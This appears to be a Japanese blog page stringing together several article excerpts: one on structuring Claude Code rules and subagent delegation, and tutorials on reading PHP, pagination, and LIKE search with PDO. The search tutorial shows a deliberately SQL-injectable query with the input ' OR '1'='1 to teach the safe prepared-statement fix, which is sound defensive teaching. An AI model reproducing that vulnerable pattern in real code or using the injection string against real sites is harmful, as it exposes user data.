ここで設計上もっとも重要な前提があります。これらのルールは「強制」ではなく、文脈（コンテキスト）に注入される指示だということです。Anthropicの公式ドキュメントでも、設定ファイルの内容はモデルが参照するメモリとして読み込まれる仕組みだと説明されています（出典: Anthropic公式 Claude Code Memory ドキュメント）。つまりルールは「必ず守らせる制約」ではなく「強く読ませるお願い」です。優先順位は、より具体的・より近い文脈のものが効きやすく、矛盾する指示があれば狭いスコープが勝ちます。 こうした「設定をどう読み込み、いつ何を実行するか」を司っているのが、Claude Code本体（ハーネス＝AIモデルを動かす実行基盤）です。ルールが強制ではなく注入になるのも、後述するサブエージェントのコンテキストが隔離されるのも、このハーネスの挙動に由来します。本記事ではハーネスの挙動を「設計判断の根拠」として必要な範囲だけ触れ、コンテキスト管理やループといった仕組みそのものの詳細は別記事に譲ります。 具体例で言うと、グローバルに「コメントは日本語」と書き、あるプロジェクトだけ「英語で統一」と書いた場合、そのプロジェクトでは後者（狭いスコープ）が優先されます。この上書きを意図して使えば、共通方針はグローバルに置きつつ、例外だけプロジェクト側で塗り替える、という整理ができます。逆に言えば、同じ強さのルールを複数の層にばらまくと、どれが効いているか追えなくなります。 この「注入であって強制ではない」という性質が、後述するアンチパターンと設計判断のすべての起点になります。絶対に外せない制約（危険なコマンドのブロックなど）は、ルール文ではなくHook（フック）で決定論的に止める——この切り分けが設計の出発点です。 層③のルールファイルに何を置くかは案件によりますが、デザイン規約はこの層に固定できます。Google Labsが公開したDESIGN.mdという書式に沿って、色・書体・余白の値と設計意図をまとめておく方法をDESIGN.mdでデザインの判断基準をAIに渡す方法で解説しています。 グローバル vs プロジェクトルールの使い分け設計 同じ「ルールを書く」でも、グローバル（全プロジェクト共通）とプロジェクト（リポ固有）のどちらに置くかで、運用の安定性が大きく変わります。判断軸は「適用範囲」と「変更頻度」の2つです。 判断軸グローバルに置くプロジェクトに置く適用範囲全プロジェクトで一貫させたいこのリポだけに効かせたい変更頻度めったに変えない安定した方針機能追加・構成変更で変わる具体例コメント言語・命名規約・作業の進め方デプロイ手順・ディレクトリ構成・固有の禁止事項肥大化リスク大（全プロジェクトに効くので盛りがち）中（リポ固有なので範囲が限定される） 設計の原則はシンプルです。「どのプロジェクトでも同じであってほしい」ものだけをグローバルに置き、それ以外はプロジェクト側に置く。迷ったらプロジェクト側に置きます。グローバルは全プロジェクトのコンテキストを毎回消費するため、ここが膨らむと「常に読まされる長文」が増えて、肝心のルールがノイズに埋もれます。 迷ったときの振り分けを、いくつか具体例で示します。判断軸は「全プロジェクトで同じか」「リポ固有の事実・禁止事項か」のどちらに寄るかです。 「コミットメッセージは日本語で書く」→ グローバル（どのプロジェクトでも変えたくない方針） 「このリポはpushで本番に自動デプロイされる」→ プロジェクト（リポ固有の事実・事故防止） 「最小フォントサイズは16pxで統一する」→ グローバル（全制作物で一貫させたい規約） 「特定フォルダ直下は手動管理なので触らない」→ プロジェクト（構成依存の禁止事項） 「方針提示と実行は分け、承認を取ってから動く」→ グローバル（働き方そのものの原則） 抽象化した例で示すと、グローバル側は次のように「方針の核」だけに絞るのが運用しやすい形です（実在の設定ではなく説明用の骨組みです）。 # グローバル設定（例） ## 言語・スタイル - コメントとコミットメッセージは日本語 - 変数名・関数名は英語 ## 作業の進め方 - 方針提示と実行は分ける（実行前に承認を取る） - 単純な作業はメインで直接行い、判断不要な定型のみ委譲する ## 参照する詳細ルール - コーディング規約は別ファイルに分離して参照する 細かい規約（書式の細部、命名の例外など）はグローバル本体に書き込まず、別のルールファイルに分けて参照させます。本体を「索引」、詳細を「別冊」にする発想です。設定ファイルの分割や参照の具体的な書き方はClaude Code上級編で解説しています。 エージェントの役割分担をどう設計するか サブエージェントを使うと、特定の役割に特化したAIアシスタントを用意できます。ここで「会社の組織図」をイメージすると設計しやすくなります——ただしこれはあくまで考えるための補助線です。実際のClaude Codeに「上司・部下」や「ルーター」という機構は存在せず、メインのモデルが必要に応じてサブエージェントを呼び出しているだけ、という点は誤解しないでください。組織図はあくまで「役割を言葉にするための道具」であり、その通りに機構が動くわけではない、と割り切って使うのが安全です。 それでも組織モデルが役立つのは、「この作業は誰の仕事か」を考える癖がつくからです。役割を決めずにサブエージェントを使うと、何でも屋を量産して管理しきれなくなります。先に「どんな役割が必要か」を数個だけ言語化し、その役割に対してエージェントを用意する——この順番を守るだけで、設計はかなり整理されます。 補助線としての組織モデルは、役割を言語化するのに役立ちます。たとえば次のような分担です（役割名は説明用の仮称です）。 司令塔（メイン）：依頼の解釈・タスク分解・成果物の統合と最終判断を担う。委譲するかどうかもここが決める 探索担当：コードの場所特定や横断検索など、結論だけ持ち帰ればよい調査を担う レビュー担当：品質・セキュリティなど決まった観点でのチェックを担う 定型実装担当：判断を伴わない定型コード生成など、手順が明確な作業を担う なお、ここに挙げた役割名は説明用の仮称です。実務でどんな職種を配属できるかは AI社員の職種一覧 に、調査・検証・制作・運用・分析の系統ごとにまとめてあります。 設計の勘所は、役割を「成果物の種類」で切ることです。「フロントエンド担当」のように技術領域で切ると守備範囲が曖昧になりがちですが、「探索して場所を返す」「決まった観点でレビューする」のように入力と出力が明確な単位で切ると、何を任せ・何が返ってくるかがはっきりします。これは次のセクションの「委譲の境界線」と直結します。 もう一つの勘所は粒度です。役割を細かく刻みすぎると、「どのエージェントを呼ぶか」の判断そのものがコストになり、結局メインで全部やった方が速い、という事態になります。最初は「探索」「レビュー」のような数個の大きな役割から始め、同じ依頼を繰り返し手作業で振り分けていると気づいたときに、その分だけを切り出すのが現実的です。エージェントは増やすより「減らせないか」を先に疑うくらいで、ちょうどよい塩梅になります。 サブエージェント委譲の境界線：何を任せ、何を任せないか 委譲の設計を誤らないために、まずサブエージェントの「動き方」を正確に押さえます。Anthropicの公式ドキュメントによれば、サブエージェントは独立したコンテキストウィンドウで動作し、親に返るのは最終的な結果のみです（出典: Anthropic公式 Subagents ドキュメント）。つまり委譲とは「部下に継続的に仕事を頼む」ことではなく、文脈を切り離して一度だけ結果を受け取る仕組みです。 この性質から、委譲して得をする作業と、損をする作業が決まります。 委譲に向く作業委譲に向かない作業横断的な探索・調査（結論だけ持ち帰ればよい）設計判断（やり取りの文脈が判断に必要）独立した複数タスクの並列処理複雑なバグ修正（試行錯誤の履歴が効く）判断を伴わない定型生成会話の前後関係を跨ぐ作業決まった観点での検証・レビュー「だいたいの方針」しか渡せない曖昧な作業 判断基準を一文にすると、「最終結果だけ受け取れば十分で、途中の文脈が切れても困らない作業」だけを委譲する、です。逆に、判断の質がそれまでのやり取りに依存する作業は、文脈が切り離された瞬間に精度が落ちます。設計判断や難しいデバッグをメインに残すのは、能力の問題ではなくコンテキストの連続性が必要だからです。 委譲が最も効くのは、独立した複数の調査を同時に走らせるときです。コンテキストが隔離されることは弱点であると同時に強みでもあり、互いに干渉しない作業を並行させれば、待ち時間を大きく圧縮できます。「結果だけ要る・互いに独立している」という条件がそろう作業ほど、委譲の費用対効果は高くなります。逆にこの条件を満たさない作業を無理に分割すると、調整コストが増えるだけで遅くなります。 そして委譲すると決めたら、渡す指示には次の4点を必ず含めます。これが欠けると、隔離された相手は判断材料を持たないまま「だいたい完成」で戻ってきます。 完了条件：触るべきファイル名・通すべきコマンドを具体的に列挙する 検証方法：型チェック・ビルド・テストの実行と、結果の報告を求める 禁止事項：「だいたい完成での終了」「エラーの独断無視」を禁じる 最終報告フォーマット：変更ファイル一覧＋検証ログの形で返させる この4点は、人に仕事を頼むときの「指示書」とまったく同じです。相手がAIだから特別な作法が要るのではなく、文脈を共有していない相手に過不足なく伝えるという当たり前が、そのまま効きます。 ### [実コードで学ぶPHPの読み方｜変数・配列・$_POST・関数を理解する](https://codequest.work/how-to-read-php-code/) PHPコードが読めるとは、ネットや既存ファイルにあるPHPのコードを見て、「どの部分が何をしているか」を自分の言葉で説明できる状態のことです。読む力の土台は、変数（$name）・配列（$_POST）・関数（function）・制御構文（if・foreach）という、たった数種類のパーツの役割を知ることです。 「サンプルコードをコピペすれば動くけれど、中身は分からない」——PHPでよくある状態です。動いているうちは問題なくても、エラーが出たときや、コードを少し変えたいとき、読めないと一気に手が止まります。逆に、基本のパーツさえ読めれば、たいていのPHPコードは「何をしているか」が追えるようになります。 この記事は、PHPのコードを読むための入門ガイドです。変数・配列・関数・制御構文・スーパーグローバル・データベース処理の読み方を、実際のサンプルで一つずつ確認します。後半では、当サイトのログイン・データベース・検索・ページネーションの実装記事のコードを「読む教材」として使い、学んだ読み方を実コードで試します。コピペで終わらせず、「読める」状態を目指しましょう。 PHPコードが読めると何が変わるか コードが読めると、3つの場面で差が出ます。①エラーが出たとき、どの行で何が起きているか見当がつく。②サンプルを自分の要件に合わせて変更できる。③セキュリティ上まずい書き方（パスワード平文保存など）に気づける。いずれも「コピペだけ」では届かない領域です。 読むために覚えるパーツは多くありません。本記事で扱うのは次の6つです。これだけで、実務で出会うPHPコードのかなりの部分が読めるようになります。 変数：データに名前を付けて入れておく箱（$name） 配列・連想配列：複数の値をまとめて持つ（$_POSTもこれ） 制御構文：条件分岐（if）と繰り返し（foreach） 関数：処理に名前を付けて呼び出す（function・組み込み関数） スーパーグローバル：フォームやセッションの値（$_POST・$_GET・$_SESSION） データベース処理：PDOでのデータの読み書き PHPの基本の形（<?php・セミコロン・コメント） まず、PHPコードの「見た目の約束ごと」です。PHPは<?phpで始まり、文の終わりに;（セミコロン）を付けます。//や#の後ろ、/* */で囲んだ部分はコメントで、処理に影響しません。 <?php // これはコメント（実行されない） echo 'こんにちは'; // echo は「画面に出力する」命令 echo "<br>"; // 文の終わりには ; を付ける /* 複数行の コメントはこう書く */ echoは「画面に表示する」命令で、PHPで最初に出会う頻出ワードです。コードを読むときは、まずechoを探すと「何を出力しているか」から流れがつかめます。文字列はクオート（'か"）で囲みます。 変数と値の読み方（$name） $で始まるものは変数です。データに付けた名前で、中身を入れたり取り出したりできます。値には文字列・数値・真偽値（true/false）などの種類（型）があります。 <?php $name = 'コーヒー豆'; // 文字列（クオートで囲む） $price = 1200; // 数値（クオートなし） $inStock = true; // 真偽値（true か false） echo $name; // → コーヒー豆 echo $name . 'は' . $price . '円'; // . で文字列をつなぐ → コーヒー豆は1200円 読むときのコツは、=を「右の値を左の箱に入れる」と読むことです。$price = 1200;は「1200という数値を$priceに入れる」。そして.（ドット）は文字列の連結です。$name . '円'で「$nameの中身＋円」という文字列になります。 PHPは記号が多い言語ですが、「読み方」さえ覚えれば構造が見えてきます。コードを読むときに迷いやすい記号を早見表にまとめました。手元に置いておくと、知らない記号で手が止まらなくなります。 記号読み方・意味$変数（データを入れる箱）=右の値を左に入れる（代入）.文字列をつなぐ（連結）=>連想配列の「キー => 値」->オブジェクトの機能を呼ぶ??左がなければ右を使う（未定義回避）;文の終わり 配列と連想配列の読み方（$_POSTの正体） 複数の値をまとめて持つのが配列です。番号で管理する配列と、名前（キー）で管理する連想配列があります。フォームの値が入る$_POSTは、この連想配列です。 <?php // 配列（0から始まる番号で管理） $fruits = ['りんご', 'みかん', 'ぶどう']; echo $fruits[0]; // → りんご（番号は0から数える） // 連想配列（キーで管理）← $_POST もこの形 $user = [ 'name' => '田中', 'email' => 'tanaka@example.com', ]; echo $user['name']; // → 田中 echo $user['email']; // → tanaka@example.com これが分かると、$_POST['email']の意味が読めます。「$_POSTという連想配列の、emailというキーの値」＝送信フォームの<input name="email">に入力された値、です。$user['name']を見たら「$userのnameキーの値」と読む。この読み方は、あらゆるPHPコードで使います。 制御構文の読み方（if・foreach） 処理の流れを変えるのが制御構文です。読めるべきは2つ、条件分岐のifと、繰り返しのforeachです。 <?php // if：条件によって処理を分ける if ($price >= 1000) { echo '高い'; } elseif ($price >= 500) { echo '普通'; } else { echo '安い'; } <?php // foreach：配列の要素を1つずつ取り出して繰り返す $items = ['りんご', 'みかん', 'ぶどう']; foreach ($items as $item) { echo $item . '<br>'; // $item に1個ずつ入って繰り返される } if (条件) { ... }は「条件が成り立つなら{ }の中を実行する」。foreach ($配列 as $要素)は「配列から1個ずつ$要素に入れて、中の処理を繰り返す」と読みます。一覧表示のコードは、ほぼこのforeachでできています。 関数の読み方（引数・戻り値・組み込み関数） 関数は、処理に名前を付けてまとめ、呼び出して使う仕組みです。名前(...)の形を見たら関数だと判断できます。カッコの中に渡す値を引数、returnで返ってくる値を戻り値と呼びます。 <?php // function 関数名(引数) { 処理; return 戻り値; } function taxIncluded(int $price): int { return (int)($price * 1.1); // 税込み価格を計算して返す } $result = taxIncluded(1000); // 1000を渡すと 1100 が返る echo $result; // → 1100 PHPには最初から使える組み込み関数も多数あります。コードを読むとき頻出するものを知っておくと、意味がすぐ取れます。 関数何をするtrim($s)文字列の前後の空白を取り除くhtmlspecialchars($s)HTMLタグを無害化（XSS対策）count($arr)配列の要素数を数えるpassword_hash($p)パスワードを安全にハッシュ化する 知らない関数が出てきたら、関数名で公式マニュアルを引くのが確実です。PHP公式マニュアルは関数ごとに「引数」「戻り値」「使用例」が載っており、読む力をつけるうえで最良の辞書になります。 スーパーグローバルの読み方（$_POST・$_GET・$_SESSION） $_で始まる特別な変数をスーパーグローバルと呼びます。どこからでも使えるPHP標準の連想配列で、Webアプリのコードに頻出します。読み分けられると、データがどこから来てどこへ行くかが見えます。 変数中身（どこから来る値か）$_POSTフォームをPOST送信した値（登録・ログイン等）$_GETURLの?以降のパラメータ（検索・ページ番号等）$_SESSIONサーバーに保存され、ページをまたいで保持される値（ログイン状態等） たとえば$_GET['page']を見たら「URLの?page=の値」＝ページネーションのページ番号だと読めます。$_SESSION['user_id']なら「ログイン中のユーザーID」。データの出どころが分かると、コード全体の流れが追いやすくなります。 データベースコードの読み方（PDO） Webアプリで必ず出てくるのがデータベース処理です。PHPではPDOという仕組みでMySQLなどを操作します。次の3ステップの形を覚えると、データベースコードはほぼ読めます。 <?php // ① SQLを準備する（:email は後で値を入れる「穴」） $stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email'); // ② 穴に値を入れて実行する $stmt->execute([':email' => $email]); // ③ 結果を受け取る（1件なら fetch、複数なら fetchAll） $user = $stmt->fetch(); 読み方はこうです。prepare()で「SQLの型」を用意し、:emailのようなプレースホルダ（値を入れる穴）を置く。execute()で穴に実際の値を入れて実行。fetch()で結果を取り出す。この「穴を用意して値を後から入れる」書き方は、SQLインジェクションを防ぐための安全策でもあります。->（アロー）は「そのオブジェクトの機能を呼ぶ」記号で、$stmt->execute()は「$stmtのexecuteを実行」と読みます。 実コードを読んでみる（実装記事で練習する） ここまでの読み方を、実際の実装コードで試してみましょう。当サイトのバックエンド実装記事は、すべて本記事で扱ったパーツ（変数・配列・$_POST・関数・if・foreach・PDO）の組み合わせでできています。読む練習台として最適です。 まずPHPログイン機能の作り方は、$_POSTでフォームの値を受け取り、password_hash()とifで認証し、$_SESSIONにログイン状態を保存します。本記事の$_POST・関数・$_SESSIONがそのまま登場します。 次にPHPでMySQLを操作する方法（CRUD）は、PDOのprepare→execute→fetchの3ステップがCRUD（登録・取得・更新・削除）の形で繰り返し出てきます。データベースコードの読み方を固めるのに向いています。 さらにPHP検索機能の作り方は$_GETで検索語を受け取り、PHPページネーションは$_GET['page']でページ番号を受け取ってforeachで一覧を表示します。$_GETとforeachの実例として読んでみてください。 ローカルでPHPを動かす環境がまだない場合は、MAMP・XAMPPの導入方法で準備できます。バックエンド全体の地図はバックエンドとは何かで確認できます。 次の一手：読めたら、書いて動かす コードは「読めた」だけでは身につきません。 ### [PHPでページネーションを実装する方法｜LIMIT・OFFSETでページ送りを作る](https://codequest.work/php-pagination/) PHPのページネーションとは、件数の多い一覧を1ページあたりの表示数で区切り、「前へ・次へ・ページ番号」で行き来できるようにする仕組みのことです。実装の核は、MySQLのLIMIT（1ページの件数）とOFFSET（読み飛ばす件数）で表示範囲を絞り、総件数から総ページ数を計算してリンクを生成することです。 商品一覧や検索結果が数百件あると、1ページに全部出すのは現実的ではありません。表示が重くなり、ユーザーも目的の情報にたどり着けません。そこで一覧を「20件ずつ」のようにページで区切るのがページネーション（ページ送り）です。一覧機能を作ったら、ほぼ必ず必要になる定番の実装です。 この記事では、PHP＋MySQLでページネーションを一から実装する手順を、動くコードと「なぜそう書くか」をセットで解説します。LIMITとOFFSETの使い方、総ページ数の計算、ページリンクの生成、そして検索条件を保持したままページ送りする方法まで、実務でそのまま使える形でまとめます。データ取得の基礎はPHPでMySQLを操作する方法（CRUD）を前提にします。 PHPのページネーションとは（全体像） ページネーションは、4つの値さえ押さえれば理解できます。1ページの表示件数、現在のページ番号、読み飛ばす件数（OFFSET）、そして全体の総件数です。これらの関係を整理しておきます。 値意味求め方perPage1ページの表示件数自分で決める（例：20）page現在のページ番号URLの?page=から受け取るoffset読み飛ばす件数(page - 1) × perPagetotal総件数SELECT COUNT(*)で取得totalPages総ページ数ceil(total ÷ perPage) たとえば1ページ20件で2ページ目を表示するなら、offset = (2 - 1) × 20 = 20。つまり「最初の20件を飛ばして、次の20件を取る」という意味になります。この計算がページネーションの心臓部です。 事前準備：表示件数とページ番号、総件数の取得 ②③と同じitemsテーブルを使います。まず、URLから現在のページ番号を受け取り、表示件数とOFFSETを決め、総件数を取得します。 <?php require 'db.php'; $perPage = 20; $page = max(1, (int)($_GET['page'] ?? 1)); // 1未満は1に丸める $offset = ($page - 1) * $perPage; // 総件数を取得（COUNT(*)はfetchColumnで1値だけ受け取れる） $total = (int)$pdo->query('SELECT COUNT(*) FROM items')->fetchColumn(); $totalPages = (int)ceil($total / $perPage); // 端数は切り上げ ページ番号は(int)でキャストし、max(1, ...)で最小1に丸めます。これで?page=abcや?page=-5のような不正な値が来ても安全です。総ページ数はceil()で切り上げます（21件を20件区切りにすると2ページ必要なため）。 ページ番号とOFFSET、取得範囲の対応を具体的な数字で見ると、計算の意味がつかめます（1ページ20件の場合）。 ページoffset の計算取得する範囲1ページ目(1-1)×20 = 01〜20件目2ページ目(2-1)×20 = 2021〜40件目3ページ目(3-1)×20 = 4041〜60件目 LIMITとOFFSETでページを区切る OFFSETが決まったら、LIMITとOFFSETを付けてそのページ分だけ取得します。ここで重要な注意点があります。LIMITとOFFSETは整数として渡す必要があるため、execute()の配列渡しではなくbindValue()でPDO::PARAM_INTを明示します。 <?php $sql = 'SELECT * FROM items ORDER BY id DESC LIMIT :limit OFFSET :offset'; $stmt = $pdo->prepare($sql); // LIMIT・OFFSET は整数として明示的にバインドする $stmt->bindValue(':limit', $perPage, PDO::PARAM_INT); $stmt->bindValue(':offset', $offset, PDO::PARAM_INT); $stmt->execute(); $items = $stmt->fetchAll(); execute([':limit' => $perPage])のように配列で渡すと、値が文字列としてバインドされ、LIMIT '20'のようになって構文エラーになることがあります。ページネーションで最初につまずく定番ポイントなので、LIMIT・OFFSETはbindValue()＋PARAM_INTと覚えておきましょう。バインドの挙動はPHP公式マニュアル（bindValue）でも確認できます。また、ORDER BYを必ず付けることも重要です。並び順が固定されていないと、ページをまたいだときに同じ行が重複したり抜けたりするためです。 ページ番号リンクを生成する（前へ・次へ・番号） 取得した$totalPagesを使って、ページ移動のリンクを出力します。基本は「前へ」「ページ番号」「次へ」の3パーツです。現在のページはリンクにせず、強調表示にします。 <?php echo '<nav class="pagination">'; // 「前へ」：1ページ目では出さない if ($page > 1) { echo '<a href="?page=' . ($page - 1) . '">前へ</a>'; } // ページ番号 for ($i = 1; $i <= $totalPages; $i++) { if ($i === $page) { echo '<span class="current">' . $i . '</span>'; // 現在地 } else { echo '<a href="?page=' . $i . '">' . $i . '</a>'; } } // 「次へ」：最終ページでは出さない if ($page < $totalPages) { echo '<a href="?page=' . ($page + 1) . '">次へ</a>'; } echo '</nav>'; 「前へ」は1ページ目で、「次へ」は最終ページで非表示にします。これを忘れると、存在しない0ページ目や、空のページに飛べてしまいます。ページ数が非常に多い場合は、すべての番号を出すのではなく「現在地の前後数ページだけ」を出す形に絞ると見やすくなります。次のように現在ページを基準に範囲を限定し、両端を「…」で省略します。 <?php $range = 2; // 現在地の前後に表示するページ数 $start = max(1, $page - $range); $end = min($totalPages, $page + $range); // 先頭が範囲外なら「1 …」を補う if ($start > 1) { echo '<a href="?page=1">1</a> … '; } for ($i = $start; $i <= $end; $i++) { echo ($i === $page) ? '<span class="current">' . $i . '</span>' : '<a href="?page=' . $i . '">' . $i . '</a>'; } // 末尾が範囲外なら「… 最終」を補う if ($end < $totalPages) { echo ' … <a href="?page=' . $totalPages . '">' . $totalPages . '</a>'; } $rangeを変えれば、現在地の前後に出すページ数を調整できます。これで100ページあっても、リンクが横にあふれず常に見やすい形に収まります。 検索・絞り込み条件を保持したままページ送りする 実務でつまずくのがここです。検索結果をページ送りすると、2ページ目で検索キーワードが消えて全件に戻ってしまう——よくある不具合です。原因は、ページリンクが?page=2だけで、検索条件（?keyword=...）を引き継いでいないこと。 解決策は、現在のGETパラメータを保持したままpageだけ差し替えてURLを組み立てることです。http_build_query()を使うと安全に組めます。検索機能の実装と組み合わせる際の要となる部分です。 <?php // 現在のGETパラメータを保持し、pageだけ差し替えてURLを作る function pageUrl(int $page): string { $query = $_GET; // 例： ['keyword' => 'コーヒー', 'page' => '2'] $query['page'] = $page; // pageだけ上書き return '?' . http_build_query($query); } // リンク出力時はエスケープして使う $url = htmlspecialchars(pageUrl($page + 1), ENT_QUOTES, 'UTF-8'); echo '<a href="' . $url . '">次へ</a>'; 総件数の取得も、検索時は同じWHERE条件を付ける必要があります。一覧のCOUNT(*)と表示用のSELECTで条件を揃えないと、「総ページ数は5なのに3ページ目以降が空」といったズレが起きます。検索条件はCOUNT側にも必ず反映させましょう。 LIMIT/OFFSETの注意点（大きなOFFSETの性能） LIMIT／OFFSET方式は分かりやすく、小〜中規模では十分実用的です。ただし1つ弱点があります。OFFSETが大きくなると遅くなるという点です。 たとえばOFFSET 100000は、「10万件を読み飛ばして次の20件を返す」という動作で、MySQLは飛ばす分の行も内部的に走査します。後ろのページほど重くなるわけです。一覧が数万件を超え、深いページまでたどられる場合は、次のキーセットページネーション（後述）を検討します。数百〜数千件規模であれば、LIMIT／OFFSETで問題ありません。LIMIT句の正式な仕様はMySQL公式マニュアル（SELECT構文）も参照してください。 ページネーションでやりがちな失敗 実装時に起きやすい問題を、原因と対処でまとめます。多くはOFFSET計算と条件の不一致に集約されます。 症状主な原因対処LIMIT句で構文エラー配列渡しで文字列バインドbindValue()＋PDO::PARAM_INTを使うページ移動で行が重複/抜けるORDER BYがない一意で安定した順序（例：id）で並べる2ページ目で検索条件が消えるリンクがpageしか持たないhttp_build_query()で条件を保持総ページ数と中身がずれるCOUNTとSELECTの条件不一致両方に同じWHEREを適用 特にORDER BYなしの落とし穴は気づきにくいものです。 ### [PHP×MySQLで検索機能を作る方法｜LIKEであいまい検索を実装する](https://codequest.work/php-mysql-search-feature/) PHPで検索機能を作るとは、検索フォームから受け取ったキーワードをもとに、MySQLのLIKEを使ってデータを部分一致で絞り込んで表示する仕組みのことです。安全に実装する鍵は、検索値をprepared statementで渡してSQLインジェクションを防ぎ、さらにLIKEのワイルドカード（%と_）をエスケープすることです。 商品一覧、記事一覧、会員リスト——一覧があるところには、ほぼ必ず「検索」が求められます。検索機能は一見シンプルですが、サンプルコードをそのまま使うと、SQLインジェクションの穴が空いていたり、ユーザーが「%」を入力すると全件ヒットしてしまったりと、見落としがちな落とし穴が潜んでいます。 この記事では、PHP＋MySQLで検索機能を一から実装する手順を、動くコードと「なぜそう書くか」をセットで解説します。LIKEによる部分一致、ワイルドカードのエスケープ、複数キーワードでの絞り込み、0件時の処理まで、実務でそのまま使える形でまとめます。データベース操作の基礎はPHPでMySQLを操作する方法（CRUD）で扱っているので、本記事はその検索編という位置づけです。 PHPで検索機能を作るとは（全体像） 検索機能の処理は、突き詰めると3ステップです。①検索フォームでキーワードを受け取る、②そのキーワードでSELECT ... WHERE name LIKE ...を実行する、③ヒットした結果を一覧表示する。中心になるのが、部分一致を実現するMySQLのLIKE句です。 LIKEでは、ワイルドカード%（任意の0文字以上）と_（任意の1文字）を使ってパターンを表現します。検索でよく使うのは、キーワードを%で挟む「部分一致」です。 パターン意味例：「コーヒー」で'コーヒー%'前方一致（〜で始まる）コーヒー豆 ◎ / 深煎りコーヒー ✕'%コーヒー'後方一致（〜で終わる）深煎りコーヒー ◎ / コーヒー豆 ✕'%コーヒー%'部分一致（〜を含む）どちらも ◎（検索の基本） 本記事では、もっとも使う「部分一致（%キーワード%）」を軸に実装していきます。検索はデータの取得（Read）の応用なので、SELECTやprepared statementの基本はCRUDの実装記事を前提にします。 事前準備：テーブルと検索フォーム CRUD記事と同じitemsテーブル（商品）を使います。name（商品名）で検索する想定です。まずは検索フォームを用意します。検索は通常、結果をURLで共有・ブックマークできるようmethod="get"で送ります。 <form action="search.php" method="get"> <input type="text" name="keyword" placeholder="商品名で検索" value="<?php echo htmlspecialchars($_GET['keyword'] ?? '', ENT_QUOTES, 'UTF-8'); ?>"> <button type="submit">検索</button> </form> 入力欄のvalueに検索済みのキーワードをhtmlspecialchars()でエスケープして表示しておくと、検索後も入力が残って使い勝手が良くなります。エスケープを忘れるとXSSの原因になるため、ユーザー入力を画面に出すときは必ずエスケープします。 LIKEで部分一致検索を実装する（基本形） 検索本体（search.php）です。フォームから受け取ったキーワードを%で挟み、LIKEで部分一致検索します。ここで最重要なのは、%を付けるのはSQL文の中ではなく、バインドする「値」の側だという点です。 <?php require 'db.php'; $keyword = trim($_GET['keyword'] ?? ''); $sql = 'SELECT * FROM items WHERE name LIKE :keyword ORDER BY id DESC'; $stmt = $pdo->prepare($sql); // %を付けるのは「値」の側。SQL内に '%:keyword%' と書いてはいけない $stmt->execute([':keyword' => '%' . $keyword . '%']); $items = $stmt->fetchAll(); よくある間違いが、SQLにLIKE '%:keyword%'と書いてしまうこと。これだとプレースホルダが文字列の一部とみなされ、置換されません。正しくは、SQLはLIKE :keywordとし、値の側で'%' . $keyword . '%'のように%を連結します。 prepared statementで安全に検索する（SQLインジェクション対策） 検索値はユーザーが自由に入力するため、SQLインジェクションの主な侵入口になります。対策は他のCRUDと同じで、値はprepared statementのプレースホルダで渡すこと。文字列連結でSQLに直接埋め込まないのが鉄則です。 <?php // ❌ 危険：検索値を直接SQLに連結 $keyword = $_GET['keyword']; $sql = "SELECT * FROM items WHERE name LIKE '%{$keyword}%'"; $items = $pdo->query($sql)->fetchAll(); // keyword に ' OR '1'='1 などを入れられると全件漏洩のリスク <?php // ◎ 安全：値はプレースホルダ経由 $stmt = $pdo->prepare('SELECT * FROM items WHERE name LIKE :keyword'); $stmt->execute([':keyword' => '%' . $keyword . '%']); $items = $stmt->fetchAll(); prepared statementを使えば、入力値はSQLコマンドではなく「データ」として扱われるため、注入が成立しません。ただし——これだけでは、まだもう一段の穴が残っています。それが次のワイルドカードの問題です。プレースホルダの基本動作はCRUDの記事とPHP公式マニュアルでも確認できます。 ワイルドカード（%と_）をエスケープする prepared statementはSQLインジェクションを防ぎますが、LIKEのワイルドカード自体は防ぎません。つまり、ユーザーが検索欄に%や_を入力すると、それがパターン記号として働いてしまいます。たとえば%だけを入力すると、全商品がヒットします。多くのチュートリアルが見落とすポイントです。 対策は、ユーザー入力に含まれる%・_、そしてエスケープ文字の\自体を、検索前にエスケープして「ただの文字」として扱わせることです。 <?php // LIKE のワイルドカード（% と _）を文字として扱うためにエスケープする function escapeLike(string $value): string { // バックスラッシュ → % → _ の順に置換する return str_replace( ['\\', '%', '_'], ['\\\\', '\\%', '\\_'], $value ); } $raw = trim($_GET['keyword'] ?? ''); $keyword = escapeLike($raw); $sql = 'SELECT * FROM items WHERE name LIKE :keyword ORDER BY id DESC'; $stmt = $pdo->prepare($sql); $stmt->execute([':keyword' => '%' . $keyword . '%']); $items = $stmt->fetchAll(); MySQLのLIKEでは、標準でバックスラッシュ（\）がエスケープ文字として働きます。そのため\%と書くと「文字としての%」を意味します。escapeLike()を通すことで、50%OFFのような検索語も、記号ではなく文字列として正しく検索できるようになります。%で挟む処理は、このエスケープ済みの値に対して行います。 具体例で挙動を追ってみましょう。ユーザーが検索欄に50%と入力したとします。エスケープしない場合、SQLにはLIKE '%50%%'が渡り、末尾の%がワイルドカードとして働くため「50を含むすべて」がヒットしてしまいます。escapeLike()を通すと50の後ろの%が\%になり、LIKE '%50\%%'として「文字としての50%を含む」正しい検索になります。たった一文字の入力で結果が大きく変わるため、検索機能ではこのエスケープが効いているかを必ず確認します。 複数キーワードで絞り込む（AND検索） 「コーヒー 深煎り」のように、スペース区切りで複数の語を入力したら、そのすべてを含む商品に絞り込みたい——実用的な検索ではよくある要件です。キーワードを分割し、語の数だけLIKE条件をANDでつなぎます。 <?php require 'db.php'; $raw = trim($_GET['keyword'] ?? ''); // 半角・全角スペースで分割（空要素は除く） $words = preg_split('/[\s　]+/u', $raw, -1, PREG_SPLIT_NO_EMPTY); $conditions = []; $params = []; foreach ($words as $i => $word) { $conditions[] = "name LIKE :kw{$i}"; // プレースホルダ名は自前で生成 $params[":kw{$i}"] = '%' . escapeLike($word) . '%'; } // 条件がなければ全件、あればANDで連結 $where = $conditions ? 'WHERE ' . implode(' AND ', $conditions) : ''; $sql = "SELECT * FROM items {$where} ORDER BY id DESC"; $stmt = $pdo->prepare($sql); $stmt->execute($params); $items = $stmt->fetchAll(); ポイントは、プレースホルダ名（:kw0、:kw1…）をこちら側で生成していることです。ユーザー入力をプレースホルダ名にしているわけではないので安全です。値はすべてescapeLike()を通してからバインドします。ORに変えれば「いずれかを含む」検索になります。 検索結果が0件のときの処理 検索では「ヒットなし」も正常な結果です。0件のときに何も表示されないと、ユーザーは検索が失敗したのか結果がないのか分かりません。件数で表示を分岐し、メッセージを出します。 ### [PHPでMySQLを操作する方法｜PDOでCRUD（登録・取得・更新・削除）を実装する](https://codequest.work/php-mysql-pdo-crud/) 